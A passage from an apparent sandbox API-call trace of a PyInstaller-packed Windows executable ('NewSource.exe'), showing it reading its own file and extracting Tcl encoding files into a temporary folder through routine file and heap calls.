[0036.672] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-7.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso8859-7.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.673] GetFileType (hFile=0x10c) returned 0x1 [0036.673] htonl (hostlong=0x46040000) returned 0x446 [0036.673] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.673] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x446, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x446, lpOverlapped=0x0) returned 1 [0036.674] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.674] CloseHandle (hObject=0x10c) returned 1 [0036.675] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550810 | out: hHeap=0x530000) returned 1 [0036.675] htonl (hostlong=0x30000000) returned 0x30 [0036.675] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.675] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.675] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.675] GetFileType (hFile=0x10c) returned 0x1 [0036.675] htonl (hostlong=0x8f7b5500) returned 0x557b8f [0036.675] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5a2b8f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.675] htonl (hostlong=0xcd010000) returned 0x1cd [0036.675] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1cd) returned 0x550600 [0036.675] htonl (hostlong=0xcd010000) returned 0x1cd [0036.675] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.675] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.675] htonl (hostlong=0x46040000) returned 0x446 [0036.675] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x446) returned 0x5507d8 [0036.675] htonl (hostlong=0xcd010000) returned 0x1cd [0036.675] htonl (hostlong=0x46040000) returned 0x446 [0036.675] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.675] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.675] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.675] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.676] CloseHandle (hObject=0x10c) returned 1 [0036.676] GetLastError () returned 0x0 [0036.676] SetLastError (dwErrCode=0x0) [0036.676] GetLastError () returned 0x0 [0036.676] SetLastError (dwErrCode=0x0) [0036.676] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.676] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.676] GetFileType (hFile=0x10c) returned 0x1 [0036.676] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.676] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.676] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.676] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.676] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.676] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.676] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.676] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.676] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.676] CloseHandle (hObject=0x10c) returned 1 [0036.676] GetLastError () returned 0x0 [0036.676] SetLastError (dwErrCode=0x0) [0036.676] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.676] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.676] GetFileType (hFile=0x10c) returned 0x1 [0036.677] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.677] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.677] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.677] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.677] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.677] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.677] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.677] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.677] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.677] CloseHandle (hObject=0x10c) returned 1 [0036.677] GetLastError () returned 0x0 [0036.677] SetLastError (dwErrCode=0x0) [0036.677] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-8.enc") returned 72 [0036.677] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-8.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso8859-8.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.677] GetLastError () returned 0x2 [0036.677] SetLastError (dwErrCode=0x2) [0036.677] GetLastError () returned 0x2 [0036.677] SetLastError (dwErrCode=0x2) [0036.677] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-8.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-8.enc", lpFilePart=0x0) returned 0x47 [0036.677] GetLastError () returned 0x2 [0036.677] SetLastError (dwErrCode=0x2) [0036.677] GetLastError () returned 0x2 [0036.677] SetLastError (dwErrCode=0x2) [0036.677] GetLastError () returned 0x2 [0036.677] SetLastError (dwErrCode=0x2) [0036.677] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-8.enc") returned 72 [0036.677] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.678] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-8.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso8859-8.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.678] GetFileType (hFile=0x10c) returned 0x1 [0036.678] htonl (hostlong=0x46040000) returned 0x446 [0036.678] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.678] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x446, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x446, lpOverlapped=0x0) returned 1 [0036.679] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.679] CloseHandle (hObject=0x10c) returned 1 [0036.680] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5507d8 | out: hHeap=0x530000) returned 1 [0036.680] htonl (hostlong=0x30000000) returned 0x30 [0036.680] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.680] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.680] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.680] GetFileType (hFile=0x10c) returned 0x1 [0036.680] htonl (hostlong=0x5c7d5500) returned 0x557d5c [0036.680] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5a2d5c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.680] htonl (hostlong=0x4020000) returned 0x204 [0036.680] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x204) returned 0x550600 [0036.680] htonl (hostlong=0x4020000) returned 0x204 [0036.680] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.680] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.680] htonl (hostlong=0x46040000) returned 0x446 [0036.681] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x446) returned 0x550810 [0036.681] htonl (hostlong=0x4020000) returned 0x204 [0036.681] htonl (hostlong=0x46040000) returned 0x446 [0036.681] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.681] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.681] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.681] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.681] CloseHandle (hObject=0x10c) returned 1 [0036.681] GetLastError () returned 0x0 [0036.681] SetLastError (dwErrCode=0x0) [0036.681] GetLastError () returned 0x0 [0036.681] SetLastError (dwErrCode=0x0) [0036.681] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.681] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.681] GetFileType (hFile=0x10c) returned 0x1 [0036.681] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.681] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.681] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.681] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.681] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.681] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.681] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.681] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.681] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.681] CloseHandle (hObject=0x10c) returned 1 [0036.681] GetLastError () returned 0x0 [0036.682] SetLastError (dwErrCode=0x0) [0036.682] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.682] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.682] GetFileType (hFile=0x10c) returned 0x1 [0036.682] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.682] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.682] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.682] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.682] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.682] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.682] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.682] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.682] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.682] CloseHandle (hObject=0x10c) returned 1 [0036.682] GetLastError () returned 0x0 [0036.682] SetLastError (dwErrCode=0x0) [0036.682] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-9.enc") returned 72 [0036.682] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-9.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso8859-9.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.682] GetLastError () returned 0x2 [0036.682] SetLastError (dwErrCode=0x2) [0036.682] GetLastError () returned 0x2 [0036.682] SetLastError (dwErrCode=0x2) [0036.682] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-9.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-9.enc", lpFilePart=0x0) returned 0x47 [0036.682] GetLastError () returned 0x2 [0036.682] SetLastError (dwErrCode=0x2) [0036.682] GetLastError () returned 0x2 [0036.683] SetLastError (dwErrCode=0x2) [0036.683] GetLastError () returned 0x2 [0036.683] SetLastError (dwErrCode=0x2) [0036.683] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-9.enc") returned 72 [0036.683] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.683] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-9.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso8859-9.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.683] GetFileType (hFile=0x10c) returned 0x1 [0036.683] htonl (hostlong=0x46040000) returned 0x446 [0036.683] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.683] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x446, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x446, lpOverlapped=0x0) returned 1 [0036.686] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.686] CloseHandle (hObject=0x10c) returned 1 [0036.686] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550810 | out: hHeap=0x530000) returned 1 [0036.686] htonl (hostlong=0x30000000) returned 0x30 [0036.686] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.686] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.686] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.687] GetFileType (hFile=0x10c) returned 0x1 [0036.687] htonl (hostlong=0x607f5500) returned 0x557f60 [0036.687] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5a2f60, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.687] htonl (hostlong=0xbd010000) returned 0x1bd [0036.687] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bd) returned 0x550600 [0036.687] htonl (hostlong=0xbd010000) returned 0x1bd [0036.687] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.687] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.687] htonl (hostlong=0x44040000) returned 0x444 [0036.687] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x444) returned 0x5507c8 [0036.687] htonl (hostlong=0xbd010000) returned 0x1bd [0036.687] htonl (hostlong=0x44040000) returned 0x444 [0036.687] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.687] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.687] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.687] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.687] CloseHandle (hObject=0x10c) returned 1 [0036.687] GetLastError () returned 0x0 [0036.687] SetLastError (dwErrCode=0x0) [0036.687] GetLastError () returned 0x0 [0036.687] SetLastError (dwErrCode=0x0) [0036.687] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.687] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.687] GetFileType (hFile=0x10c) returned 0x1 [0036.687] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.687] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.688] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.688] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.688] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.688] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.688] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.688] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.688] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.688] CloseHandle (hObject=0x10c) returned 1 [0036.688] GetLastError () returned 0x0 [0036.688] SetLastError (dwErrCode=0x0) [0036.688] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, 